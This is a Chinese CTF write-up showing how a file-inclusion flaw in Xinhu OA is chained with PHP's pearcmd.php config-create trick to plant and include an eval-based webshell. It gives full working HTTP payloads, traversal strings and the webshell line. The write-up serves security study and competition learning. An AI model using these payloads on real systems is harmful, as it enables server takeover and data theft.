img

[toc]

前言

昨天在打西湖论剑的时候遇上了一道题目,给了一个信呼 OA,网上所有的 1day 试了一遍都不行,最后在 indexAction.php 中找到一处文件包含,只能包含以 .php 后缀结尾的文件。正好前几天 P 神在博客上发布了一篇名为《Docker PHP裸文件本地包含综述》 的文章,利用文章中给出的包含 pearcmd.php 的方式成功 Getshell。

题目引入

题目给出的是一个信呼 OA:

image-20211121084803176

直接弱口令便能登录:

image-20211121084903695

首先尝试网上所有爆出来的 1day 都不行,其中最有希望的一个配置文件写 Webshell 由于没有权限也被阉割了。只能自己审一下他给出的源码了。

我们直接看到 indexAction.php:

  • webmain\index\indexAction.php

image-20211121085525380

发现有一个名为 getshtmlAction 的成员方法,可以用来获取模版文件。这里的源码直接获取 surl 参数并对其解 Base64 之后拼接给 $file 变量,并且会自动在最后加上 .php 后缀,最终 $file 会被赋值给 $this->displayfile,并在 View.php 中进行文件包含操作:

  • include\View.php

image-20211121090247337

在这整个操作过程中并没有任何过滤,可以直接包含服务器上以 .php 结尾的文件。

我们调用这个类方法,尝试包含几个 PHP 文件:

1
2
3
/?m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9odG1sL2luZGV4

// 尝试包含 ../../../../../../../../var/www/html/index.php

如下图所示,包含成功:

image-20211121090552656

如果包含失败的话会报错:

1
2
3
/?m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9odG1sL3Rlc3QxMjM=

// 尝试包含 ../../../../../../../../var/www/html/test123.php

image-20211121090710421

Pearcmd.php 的巧妙利用

由于这里限制了包含的文件后缀只有 .php,所以我们不能使用常见的 session.upload_progress 方式来 Getshell。好在 P 神前两天在自己博客中发布了一篇名为《Docker PHP裸文件本地包含综述》 的文章,里面给出了一个新的利用方法:

image-20211121091028891

Pecl 是 PHP 中用于管理扩展而使用的命令行工具,而 Pear 是 Pecl 依赖的类库。在 PHP v7.3 及以前,Pecl/Pear 是默认安装的;在 PHP v7.4 及以后,需要我们在编译PHP的时候指定 --with-pear 才会安装。不过,在 Docker 任意版本镜像中,Pecl/Pear 都会被默认安装,安装的路径在 /usr/local/lib/php

原本 Pecl/Pear 是一个命令行工具,并不在 Web 目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到 Pear 中的文件,进而利用其中的特性来搞事。

在 Docker 环境下的 PHP 会默认开启 register_argc_argv 这个配置。文档中对这个选项的介绍不是特别清楚,大概的意思是,当开启了这个选项,用户的输入将会被赋予给 $argc$argv$_SERVER['argv'] 几个变量。

如果 PHP 以命令行的形式运行,这里很好理解。但如果 PHP 以 Server 的形式运行,且又开启了 register_argc_argv,那么这其中是怎么处理的?

我们在 PHP 源码中可以看到这样的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static zend_bool php_auto_globals_create_server(zend_string *name)
{
if (PG(variables_order) && (strchr(PG(variables_order),'S') || strchr(PG(variables_order),'s'))) {
php_register_server_variables();

if (PG(register_argc_argv)) {
if (SG(request_info).argc) {
zval *argc, *argv;

if ((argc = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGC), 1)) != NULL &&
(argv = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGV), 1)) != NULL) {
Z_ADDREF_P(argv);
zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGV), argv);
zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGC), argc);
}
} else {
php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);
}
}

} else {
zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_SERVER]);
array_init(&PG(http_globals)[TRACK_VARS_SERVER]);
}
...

第一个 if 语句判断 variables_order 中是否有 S,即 $_SERVER 变量;第二个 if 语句判断是否开启 register_argc_argv,第三个 if 语句判断是否有 request_info.argc 存在,如果不存在,其执行的是这条语句:

1
php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);

无论 php_build_argv 函数内部是怎么处理的,SG(request_info).query_string都非常吸引我们,这段代码意味着,HTTP 数据包中的 query-string 会被作为 argv 的值。如下图所示:

image-20211121103553663

我们再来看到 Pear 中获取命令行 argv 的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}

会先尝试 $argv,如果不存在再尝试 $_SERVER['argv'],后者我们可通过 query-string 控制。也就是说,我们通过 Web 访问了 Pear 命令行的功能,且能够控制命令行的参数。

看看 Pear 中有哪些可以利用的参数:

image-20211121103837342

我们注意到 config-create,阅读其代码和帮助可以知道,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。

所以,我构造出如下利用的数据包:

1
2
3
4
5
6
7
8
GET /?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/shell.php HTTP/1.1
Host: 192.168.219.129:8086
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Connection: close

image-20211121104249213

发送这个数据包,会在目标主机上写入一个文件/tmp/shell.php,其内容包含<?=phpinfo()?>

image-20211121104521678

最后包含这个 /tmp/shell.php 文件利用即可:

image-20211121104553431

解题

直接构造 payload,在/tmp写入shell.php:

1
2
3
4
5
6
7
8
9
10
11
GET  /?+config-create+/&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2xpYi9waHAvcGVhcmNtZA%3D%3D&/<?=eval($_POST[whoami])?>+/tmp/shell.php HTTP/1.1
Host: d0ca7568-cb7e-4bf0-92ba-5654362894d3.oarce-ctf.dasctf.com:2333
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cookie: deviceid=1637397855417; xinhu_ca_adminuser=xiaoqiao; xinhu_ca_rempass=1; PHPSESSID=b94f4c50414716a5b669c5044571c93d; xinhu_mo_adminid=rww0mh0sl0rnr0jj0kr0xk0hm0rwr0rwj0rwh0rwh0sm0kw0sl0km012; xinhu_ca_adminpass=xx0sl0xn0wrr0xs0ks0sh0hc011
Connection: close

image-20211121102231391

然后构造 payload 包含/tmp/shell.php即可getshell:

1
2
3
4
/index.php?a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdG1wL3NoZWxs

// ../../../../../../../../tmp/shell.php
// 注意, 这里的Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdG1wL3NoZWxs是../../../../../../../../tmp/shell的编码,不要加上 .php 后缀

image-20211121102316639

成功读取 flag:

image-20211121102353153

参考:

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html